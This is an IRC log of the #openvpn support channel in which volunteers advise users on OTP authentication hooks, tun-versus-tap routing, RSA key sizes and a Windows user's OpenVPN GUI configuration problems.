17:27 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
17:29 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
17:29 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
17:36 -!- YamakasY3 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Ping timeout: 252 seconds]
17:51 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
17:52 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
18:00 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
18:11 -!- troyt_ [~troyt@2001:1938:240:2000::3] has joined #openvpn
18:11 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
18:17 -!- troyt_ is now known as troyt
18:18 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
18:19 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
18:20 -!- DBordello [~DBordello@unaffiliated/dbordello] has left #openvpn []
18:21 -!- dyer [~dyer@unaffiliated/dyer] has joined #openvpn
18:26 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
18:33 -!- dyer [~dyer@unaffiliated/dyer] has quit [Read error: Connection reset by peer]
18:36 -!- Devastator- [~devas@177.18.198.101] has quit [Ping timeout: 256 seconds]
18:38 -!- Devastator [~devas@177.18.198.101] has joined #openvpn
18:43 -!- lirime_ [~liriel@154.51.136.37] has joined #openvpn
18:48 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
18:49 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
18:51 -!- lirime [~liriel@cinnabar.feralhosting.com] has quit [Quit: bye]
18:51 -!- lirime_ is now known as lirime
18:51 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
18:51 -!- lirime [~liriel@154.51.136.37] has quit [Quit: bye]
18:51 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Client Quit]
18:52 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
18:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:52 -!- lirime [~liriel@154.51.136.37] has joined #openvpn
18:52 -!- lirime [~liriel@154.51.136.37] has quit [Client Quit]
18:56 -!- lirime [~liriel@154.51.136.37] has joined #openvpn
19:32 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
19:32 < DrFoo> I'm looking for an easy setup for vpn between linux/windows clients and linux server. Will use to serve smb file share. Looking for something easy, scalable to about 20 users, and of course secure. I think I'm going to use routing vpn. Are there any tools to make managing certs easy (keeping track of revoked certs, etc.) Also, is there a way to txt a secret code on connection that would have to be entered in order for auth?
19:35 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
19:36 < pekster> DrFoo: See !howto, which walks you through using the easy-rsa project which is itself a wrapper around openssl for a "simple" PKI/cert management program
19:37 < pekster> As far as the OTP, that gets a bit tricky. There's --client-connect which can do whatever kind of auth you want based on the supplied user/pass, but when writing a script for a OTP you need to have that script exit with code 0 during re-auth attempts as it'll be run on each re-key (hourly by default, see the --reneg-sec directive)
19:38 < pekster> Besides that, you'd need to script some way for the client to "request" a code, a mailer to send it, and store it for some period of time for use. With the script hook you can write that in whatever language you like
19:40 < EugeneKay> DrFoo - openvpn; easy-rsa for the certs; you can set up TOTP as a --auth-user-pass thing.
19:41 < EugeneKay> Just write a checker in your favorite $LANGUAGE and set up TOTP on your phone.
19:41 < EugeneKay> Annnnd I'm already on #openvpn. D'oh.
19:41  * EugeneKay drinks harder
19:42 < pekster> Assuming you have a way to keep clocks in sync accurately (otherwise clients will complain to no end)
19:43 < pekster> Or just use a low-enough resolution since re-auths only occur once/hr (by default) you can probably see if an implementation allows you to fuzz the time by say 5m provided that's enough to realistically keep clients in sync for
19:45 < EugeneKay> A proper server will already be set up with NTP; and cell phones do that.
19:45 < pekster> Well, that's still complicated if the OTP rolls like that since you need a way to *get* it to the openvpn process
19:45 < EugeneKay> TOTP just needs to sync the Secret once
19:45 -!- raidz is now known as raidz_away
19:45 < pekster> No, I'm talking about openvpn
19:45 < pekster> It runs --client-connect on *every* re-auth
19:46 < EugeneKay> Don't use --client-connect
19:46 < EugeneKay> --auth-user-pass-verify ;-)
19:46 < pekster> Erm, that
19:46 < pekster> It's still run every time
19:46 < EugeneKay> So don't reauth constantly?
19:47 < pekster> Smarter scripters hook on the env-var that tells you if it's an initial or re-auth (like I suggested)
19:48 < EugeneKay> Oh, re-keying
19:48 < pekster> Yes. It runs through all auth checks as it does, including X509 verifiation, --auth-user-pass-verify, and I'd presume any plugins
19:48 < EugeneKay> Yeah, you'll want to cache the token and associate it with the long-running session
19:48 < EugeneKay> Not too hard
19:49 < pekster> In this case the pubkey auth guarentees it's the same client, so the auth script can happily ignore it
19:49 < pekster> Nah, that's more work
19:49 < pekster> [ $var_i_am_forgetting_name_of = "re-auth" ] && exit 0
19:49 < pekster> Or w/e the string is
19:50 < EugeneKay> I guess that'd be OK
19:58 < DrFoo> Would you agree that a route vpn is the way to go?
19:58 < pekster> !tunortap
19:58 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
19:58 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
20:01 < DrFoo> !wins
20:01 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
20:02 < pekster> That said, I'd recommend setting up DNS properly where even WINS is unnecessary
20:04 < DrFoo> so I'm a novice at this and this is for a home vpn... a lot of this is over my head. (not grossly, but the details of WINS and ethernet have left my memory a while ago)
20:06 < pekster> WINS is an L3 mechanism to handle NBNS resolution in place of broadcasts over routed networks. Using DNS would be the superior option and platform-neutral (ie: not depending on a Microsoft-centric NBNS/WINS protocol)
20:06 < DrFoo> This may be a samba question, but I'll ask. I had set up open vpn a long time ago on my old machine and the thing that always drove me nuts is when I would log into the samba share via route vpn and when I would delete or move a file in the gui, it would not update unless I manually refreshed. Is that a side effect of the tun?
20:07 < DrFoo> I was just going to map a network drive based on IP to eliminate the need for DNS. I only have 1 machine behind the vpn
20:07 < pekster> No clue, although IIRC that's the behaviour locally between 2 windows hosts too
20:07 < pekster> Not really an openvpn issue; for all it cares you're just sending random data in the L4 payload
20:10 < DrFoo> Alright I'll keep it a tun for samba.
20:11 < DrFoo> !howto
20:11 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:15 < DrFoo> this may be answered further ahead in the docs I'm reading, but do both the client/server have to be on the same versions? If so what's a good plan to manage this?
20:15 < pekster> You can use older versions, although you'll run into problems if you want a feature that's only available in a certain one
20:16 < pekster> Ideally run the latest official release, but a 2.2.x would be fine too. 2.1.x at least will have the 'subnet' topology (see !topology for more info)
20:16 < pekster> If a distro doesn't have 2.2.x it's by now years out of date
20:23 < thumbs> never underestimate debian stable :)
20:25 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
20:26 < DrFoo> I'm rock'n squeeze at home :)      ubuntu 12.04 for the laptop
20:28 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
20:31 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: kernel upgrade]
20:31 -!- WarDriver [~WarDriver@unaffiliated/wardriver] has joined #openvpn
20:33 < WarDriver> anyone know of a comprehensive bridge mode tutorial I'm at a loss here... I think I'm missing something basic in my bridge configuration...
20:33 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
20:38 < WarDriver> !tunortap
20:38 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against
20:38 <@vpnHelper> you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
20:40 < WarDriver> !wins
20:40 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
20:40 < pekster> If you think you need tap for windows shares, you're doing it wrong
20:41 < WarDriver> well there is an HTTP server I really need acess to...
20:41 < WarDriver> also RDP... and that sort of stuff...
20:41 < pekster> HTTP is an L5 protocol. Why do you think you need L2 for it?
20:41 < pekster> Same with RDP
20:41 < pekster> RDP data goes in TCP packets which goes in an IP packet
20:41 < pekster> Why would you add an Ethernet layer you don't need?
20:42 < WarDriver> hum...
20:42 < pekster> !tcpip
20:42 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
20:42 < pekster> Maybe a more basic guide would help
20:42 < WarDriver> but I'd have to push the routes to the clients then
20:43 < pekster> !serverlan
20:43 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
20:44 < WarDriver> pekster but why the enphasis of setting tun... wholdn't tap be a more hassle free configuration?
20:45 < pekster> No
20:45 < pekster> As you've apparently already discsovered from your posting in #netfilter. People often mistakenly assume bridging is easier; it's not. It involves OS-dependent interface bridging and opens up the door to more points of failure, extra overhead, the ability of either side of a bridge to perform classic Layer-2 attacks on the other end (like ARP spoofing, for instance) and other hassles
20:46 < pekster> Don't use bridging as a crutch for refusing to route. Learn to route properly; you even have a flowchart from the bot
20:47 < pekster> The only reason to ever use tap is if you need to pass *raw* Ethernet frames that don't contain an IP packet, or require subnet broadcasts (which are in effect flooded to the L2 broadcast address.) If you don't need that or understand what that is, you don't want tap.
20:48 < EugeneKay> !bridging
20:48 <@vpnHelper> "bridging" is (#1) Using bridges is either completely stupid or clever. It is stupid if you do it because you think it is easier. It is clever if you're a network knowledgeable person who understands networking very well and knows why routing won't fit for you or (#2) See also https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
20:49 < WarDriver> hum... I probably don't need that... I should go and set the routes... ATM I'm just playing around with openvpn... to learn :3
20:51 < WarDriver> ty guys you all have been a great help
20:52 < WarDriver> I might just set it up as bridge in the future to get a better hold of how it works...
20:57 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
20:59 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
21:00 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
21:05 -!- master_of_master [~master_of@p4FF2403E.dip0.t-ipconnect.de] has joined #openvpn
21:08 -!- master_o1_master [~master_of@p4FF240F2.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
21:08 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Quit: reboot soon?]
21:09 -!- Devastator [~devas@177.18.198.101] has quit [Changing host]
21:09 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:22 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- \o/]
21:23 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
21:28 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
21:53 -!- wjtaylor [~wjtaylor@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
21:53 < wjtaylor> is 2048 the recommended key size or is the current 4096 these days?
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 < WarDriver> !route_outside_openvpn
22:02 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
22:13 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:17 -!- iliv [~iliv@5.248.193.99] has joined #openvpn
22:18 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:32 < pekster> wjtaylor: 2048 should be plenty sufficient. 1024 is generally considered too small as huge computing resources can possibly break it (think global botnets, NSA (eg: Bluffdale), or China's super-clusters could probably crack such keys if they really wanted
22:35 < pekster> This is from a talk on RSA attacks at last fall's 29C3 conference: http://pekster.sdf.org/misc/bluffdale_power.png (great talk, freely downloadable if you're curious)
22:38 < EugeneKay> Use 4096 and save yourself some worry
22:39 < EugeneKay> It costs a lil bit more CPU, but you won't have to worry about your key for a few years longer.
22:54 < pekster> Could do that too. Just make sure you go make coffee or something while DH params generate ;)
22:55 < EugeneKay> Pizza!
23:05 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
23:05 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:07 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
23:07 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:11 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
23:11 < funyun> hi. how do i use openvpn files in windows?
23:12 < funyun> like what program do i need?
23:12 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:12 < funyun> i have the .opvn, crt and key files but i don't know what program i need to open these?
23:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
23:15 < funyun> anyone here use openvpn?
23:24 < pekster> Naturally, you need to install openvpn in order to use it
23:24 < pekster> !download
23:24 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
23:24 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
23:25 < funyun> pekster: is there some easy way like there is for macs? with my mac, i installed tunnelblick and i'm ready to go in like 1 minute. windows is asking me to create keys, then it says keys failed. and the openvpn program won't even open
23:25 < pekster> Windows does not "ask" you to install keys. In fact, after install, it will do nothing
23:26 < funyun> maybe i installed the wrong openvpn?
23:26 < pekster> Maybe. I just gave you the GPL download link
23:27 < pekster> If you wanted the commercial (non-free) product called 'Access Server' you're in the wrong place for support
23:27 < funyun> pekster: this is what i downloaded http://swupdate.openvpn.org/community/releases/openvpn-install-2.3.1-I001-i686.exe
23:27 < pekster> Yup, that's the one
23:28 < pekster> On install it will simply put the program binaries on the system and start menu shortcuts. You can control it through the 'openvpn GUI' program, and that in turn does nothing but waits for you to right-click it and launch a connection
23:28 < funyun> i get "Error creating OpenVPN-GUI key"
23:28 < funyun> when i try to open it
23:28 < funyun> after i've installed it
23:28 < pekster> Open *what*, the 'openvpn-gui.exe' program?
23:29 < funyun> yes
23:29 < pekster> http://openvpn.net/index.php/open-source/documentation/howto.html#start
23:29 <@vpnHelper> Title: HOWTO (at openvpn.net)
23:29 < pekster> The GUI just launches an icon that sits in your tray
23:29 < pekster> It doessn't, by itself, do anything. It's not able to do anything at all with keys
23:30 < funyun> so basically here's my question. i have the .opvn file and the crt,key files from my vpn provider. i want to use these. with my mac, i use a program called tunnelblick. is the program in the link you gave me what i am looking for?
23:31 < funyun> or is there some other program that can do what i need?
23:31 < pekster> Assuming you got the official GPL download, it can do what you need
23:31 < pekster> That error is not related to the startup of the GUI
23:31 < pekster> The GUI *just* lives in the tray as a system icon
23:32 < funyun> i don't have any openvpn tray icon
23:32 < pekster> Then you haven't started it..
23:32 < funyun> how do i start it?
23:32 < pekster> Double click it? Find it in your start menu?
23:32 < funyun> when i do that, i get the error i gave you earlier
23:33 < funyun> error creating key
23:33 < pekster> Is it a normal text-based dialog message?
23:34 < pekster> (if so, you can click anywhere in the window, press Control+C (as if to copy) and then paste that to a pastebin site like paste.kde.org )
23:34 < funyun> http://pastie.org/7941994
23:35 < funyun> didn't know i could do that..
23:35 < pekster> Okay, that's not an error "Creating key" it's an error writing to a *registry* key. Please don't skip important bits of error messages as that's a completely different thing
23:35 < pekster> You need to run it as an admin
23:35 < pekster> You lack administrative rights, which openvpn requires
23:36 < funyun> okay. now it works. :)
23:36 < funyun> what do i do from here?
23:37 < pekster> http://openvpn.net/index.php/open-source/documentation/howto.html#config
23:37 <@vpnHelper> Title: HOWTO (at openvpn.net)
23:37 < pekster> Where did you "get" your config files?
23:37 < funyun> my vpn provider
23:38 < pekster> !provider
23:38 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
23:38 < pekster> Maybe you can figure it out with the howto
23:38 < funyun> do i just put these into a folder somewhere?
23:38 < pekster> I'm pretty sure if you bother to read the link I gave you that the answer is there
23:39 < funyun> i did read it. most of it has nothing to even do with windows computer machines
23:40 < pekster> Not far enough apparently
23:40 < pekster> http://openvpn.net/index.php/open-source/documentation/howto.html#startup
23:40 <@vpnHelper> Title: HOWTO (at openvpn.net)
23:41 < pekster> Well, Hmm, actually that section appears to need some improvement
23:41 < pekster> Put them in the config path listed (that's used by the GUI tray applet menu too)
23:44 < funyun> they are now in there. but i have no option within openvpn client to use them..
23:45 < pekster> Might need to restart it (the gui applet)
23:45 < pekster> It's not the best about picking up new configs
23:45 < funyun> tried that also
23:45 < pekster> Then they're in the wrong place
23:46 < funyun> should i have put them into their own folder? i just put them into that dir without being into a folder
23:46 < pekster> If you right-click you'll see a 'Connect' option if you have a .ovpn file anywhere under the .\config directory
23:46 < pekster> You can, but it's not required
23:46 < funyun> i put them in \Program Files\OpenVPN\config
23:46 < pekster> Maybe Windows has "hidden" the file extensions. You can't name a file config.ovpn.txt (that won't work)
23:47 < pekster> If you're still confused, open a command prompt and issue: dir c:\program files\openvpn\config\
23:48 < funyun> that lists the files in that dir
23:48 < funyun> none have .txt at the end
23:50 < pekster> Do "the files" that you listed end in ".ovpn" exactly?
23:50 < funyun> one file does
23:50 < funyun> the others are .crt and .key
23:51 < pekster> Yet right-clicking the GUI icon in your tray still does nothing? Can you verify that, then try once more to 'exit' the app from that menu, verify the icon is gone, and re-launch it?
23:51 < funyun> right clicking allows me to select settings and exit
23:51 < funyun> when i select settings, i can choose my language or connect to a proxy
23:51 < pekster> That's not what I suggested
23:52 < funyun> i've restarted multiple times. do you think restarting my computer might help?
23:57 < pekster> Nope
23:58 < pekster> Can you double-check the 'dir' command you used above still shows the file if you find the command prompt program in your start menu, right-click it, select "run as administrator" and type it again?
--- Day changed Wed May 22 2013
00:00 < funyun> yes. sorry, i didn't run cmd as admin last time. i will do that now
00:00 < pekster> It "should" be the same (no need to apologize as I didn't ask for it last time.)
00:02 < funyun> yes. it's the same
00:03 < pekster> And the file is 'whatever.ovpn' in that output? In c:\program files\openvpn\config\
00:04 < funyun> yes. but i have also put the .crt and .key files in that dir. should i remove those?
00:04 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Read error: Operation timed out]
00:04 < pekster> Nope, just the .ovpn file matters to the GUI (it'll use any files the config references)
00:05 < pekster> The GUI should pick up any .ovpn files. Let's verify the GUI didn't get a weird path. Issue this in your prompt: reg QUERY HKLM\SOFTWARE\OpenVPN-GUI /v config_dir
00:05 < pekster> Make sure it *exactly* matches the config dir where you placed your files
00:06 < funyun> config_dir    REG_SZ    C:\Program Files\OpenVPN\config
00:07 < pekster> Yup, that'll be the default with a standard install path
00:07 < pekster> Can you right-click the .ovpn file and get a "start openvpn on this config file" entry?
00:07 < pekster> It should have the openvpn logo for that file (semi-circle with a "key" shape inside it)
00:08 < funyun> no
00:09 < pekster> Looks like your file is named improperly. Can you pastebin the full output you get with this: dir "c:\program files\openvpn\config\"
00:10 < funyun> http://pastebin.com/kN7tw8F2
00:10 < pekster> Please look at the extension very carefully
00:11 < pekster> I'll leave it an excersize to the reader to see what's wrong
00:11 < pekster> If you're still confused, read the README.txt as it tells you exactly what the name should be (hint: it's wrong.)
00:12 < funyun> wow. i feel like such an idiot
00:13 < funyun> i left a comma in the file name
00:13 < funyun> i'll remove it now
00:13 < pekster> That's not the problem
00:13 < funyun> i know lol
00:13 < funyun> i do feel really silly tho
00:14 < funyun> it has connected successfully, but my ip is still the same
00:14 < pekster> !provider
00:14 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
00:14 < pekster> We can't help since *you* don't control the server end of the conection
00:14 < pekster> Perhaps you'd like to read more about what it sounds like you're expecting:
00:14 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
00:14 < pekster> !redirect
00:14 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:14 <@vpnHelper> http://ircpimps.org/redirect.png
00:15 < funyun> this can't be a provider problem. if it works on mac and linux, it should work on windows
00:17 < pekster> Verify it's not an application/Layer7 issue with a tracert 4.2.2.1
00:18 < funyun> pekster: i understand you won't help. but could you please give me a recommendation for an app like tunnelblick for mac? something that lets me be done with this in less than a minute without having to re-configure my whole computer machine..
00:18 < pekster> The OpenVPN GUI app works fine
00:19 < pekster> You're connected fine, so the rest isn't going to be fixed by "a different" GUI
00:19 < funyun> i believe it does. but it's for pros. not for noobs like me
00:19 < pekster> !basic
00:19 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
00:19 < pekster> Any VPN is an advanced networking concept
00:20 < funyun> but i'm not administrating a vpn. i'm just using one
00:21 < funyun> i found it. Viscosity for windows. but thank you for trying to help
00:21 < pekster> Where does the trace go?
00:22 < pekster> Well, sure, but a frontend won't help if the *application* is having issues
00:22 < pekster> And my guess is it's not: it's just doing something you're not expecting
00:22 < pekster> See !logs and !interface for how to figure that out
00:22 < pekster> Although routing info won't really help if you don't understand what you want to occur (hence !redirect above)
00:23 < funyun> tracert goes to france
00:23 < pekster> via what path, the VPN or your physical uplink?
00:23 < funyun> i'm still connected to the vpn if that's what yo mean?
00:23 < funyun> you*
00:23 < pekster> It's not
00:24 < pekster> *which* path is the trace taking?
00:24 < pekster> Is the next hop out your physical network or via the VPN interface?
00:25 < pekster> If it's via the VPN interface, the --redirect-gateway directive has adjusted your default routing destination (via a 0/0 or two 0/1 & 128/1 routes depending on use)
00:25 < funyun> physical
00:26 < funyun> none of these ips are even from the same country as the vpn
00:26 < pekster> Then either 1) you're not enablin the --redirect-gateway option (see the manpage or the !redirect helper to learn more) or there are errors adding the relevant routes in your log
00:28 < pekster> I'm guessing the former, which I won't have anything to do with since I'm not your provider's paid support
00:33 < funyun> you're right. viscosity isn't working either :'(
00:34 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
00:36 < EugeneKay> I won't bother to read them, but did you post logs?
00:38 < funyun> pekster: viscosity has an option to send all traffic over VPN connection. but what should i put as the default gateway?
00:41 < pekster> No clue. That's not how !redirect works
00:42 < pekster> If you'd like to learn, go read that again, then read the manpage for --redirect-gateway and probably --route. If any of that looses you, go find a networking book. That, or next time you pay a company, make sure they're not idiots first.
00:43 < pekster> idiots being people who provide you no instructions, let you fend for yourself, then come here complaining that you're a poor, helpless user (paraphrasing a bit here, don't take too much offence) and then expect voluenteers who work with the GPL project to solve your networking problem for you. If I paid a company that "supported" me like that I'd be pissed.
00:46 < funyun> that's the reason i can't get help from them. the company went out of business about 1.5 years ago. but this vpn has still been working free of charge. they had instructions for macs. but i didn't get a windows computer machine until 2 days ago. and i know nothing about windows. which is why i thought i'd get some help from you guys
00:46 < EugeneKay> ....wat
00:50 < funyun> EugeneKay: do you know of a program that makes this stuff easier?
00:51 < funyun> that works on a windows computer machine?
02:16 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:25 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:38 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
02:38 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
02:54 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
03:03 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
03:07 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
03:07 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Ping timeout: 252 seconds]
03:08 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 248 seconds]
03:19 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
03:27 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
03:27 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
03:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:47 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 248 seconds]
03:51 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
04:03 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 276 seconds]
04:09 -!- i7c [~i7c@unaffiliated/i7c] has quit [Quit: oh no, why]
04:10 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
04:12 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
04:23 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
04:30 -!- lirime [~liriel@154.51.136.37] has quit [Ping timeout: 248 seconds]
04:44 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Read error: Connection reset by peer]
04:49 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
04:55 -!- hooligan2 [~hooligan@91.236.116.102] has joined #openvpn
05:03 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
05:04 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
05:07 -!- hooligan2 [~hooligan@91.236.116.102] has quit [Quit: Nettalk6 - www.ntalk.de]
05:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:13 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 260 seconds]
05:15 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
05:16 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
05:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:32 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 252 seconds]
05:34 -!- YamakasY2 [~Thunderbi@62.58.32.91] has joined #openvpn
05:46 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
05:47 -!- YamakasY2 [~Thunderbi@62.58.32.91] has quit [Ping timeout: 260 seconds]
06:00 -!- Guest46915 [~dazo@2001:470:de40:1021::14] has quit [Ping timeout: 245 seconds]
06:03 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
06:03 -!- mode/#openvpn [+o dazo_afk] by ChanServ
06:03 -!- dazo_afk is now known as dazo
06:09 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:19 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Quit: Leaving]
06:26 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
06:30 -!- mattock_afk is now known as mattock
06:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
06:33 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
06:41 -!- lirime [~liriel@185.21.216.36] has joined #openvpn
06:43 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Ping timeout: 248 seconds]
06:50 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
